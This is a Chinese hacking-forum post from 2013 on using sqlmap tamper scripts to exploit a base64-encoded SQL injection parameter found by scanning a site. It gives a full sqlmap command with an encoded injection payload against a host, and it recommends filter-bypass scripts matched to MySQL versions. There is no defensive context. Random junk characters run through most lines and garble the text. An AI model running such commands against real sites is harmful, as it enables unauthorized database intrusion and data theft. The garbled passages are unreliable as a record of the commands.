找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2463|回复: 0
打印 上一主题 下一主题

SQlMap Tamper注入Base64编码注入点

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 15:50:45 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WVS扫某站就出来一个SQL Injection,参数还是base64编码的,手工注入麻烦一步,用sqlmap怎么自动注射呢?
3 }! B+ d; q* Q( f8 s: u6 H: W1 a9 g% e' l: L, }- ~6 k8 {" i1 `
sqlmap的tamper里有个base64encode.py
: D1 g& i; \" Y% M7 U$ L+ Y7 r" g2 x, J- g
使用如下
2 j; O, m3 d4 x+ B2 m2 \
) V- Z5 c6 I0 ?9 b+ |1 I6 ?: E. vsqlmap -u http://ha.cker.in/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
8 w2 R+ G/ _# U
: W4 H0 y5 m' G
0 N9 t3 l5 [+ ^! |! O5 }' Q+ gsqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”% T3 z$ S% l! E+ A' ~/ J/ M" E+ t$ \
9 c7 H  S- n& z6 G+ K3 I
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:/ f8 @6 J, H! {  }6 ]3 O
3 r( q! O0 f1 `9 f& a) Q2 M  l
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
* Z/ z. K) N3 ?; @space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入& N8 f' B, x7 E2 e+ i  b2 h
首先确定目标数据库版本,然后选择相应的脚本。9 M( I2 u9 m) a% [3 M3 N
-v 3 --batch --tamper "space2hash.py"* p5 H$ i+ j7 K$ i# ^

0 E4 b2 W7 y" `还有其他一些插件:. O7 F$ O' L, d8 X+ c2 w+ G
encodes编码 ——charencode.py2 w4 G+ j& E5 x, r9 l  B
base64编码 —— base64encode.py
2 T& v' C& p& Y% F/ `6 p替换空格和关键字 —— halfversionedmorekeywords.py2 E' Z4 ~6 v4 d' j1 R3 V1 A* J! l
5 t2 K5 V; S0 ^+ T

1 c. v3 R, _) ~! q0 o0 K" T/ i9 _* X% i
8 Q# S  R  b2 p3 T, S) V/ V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表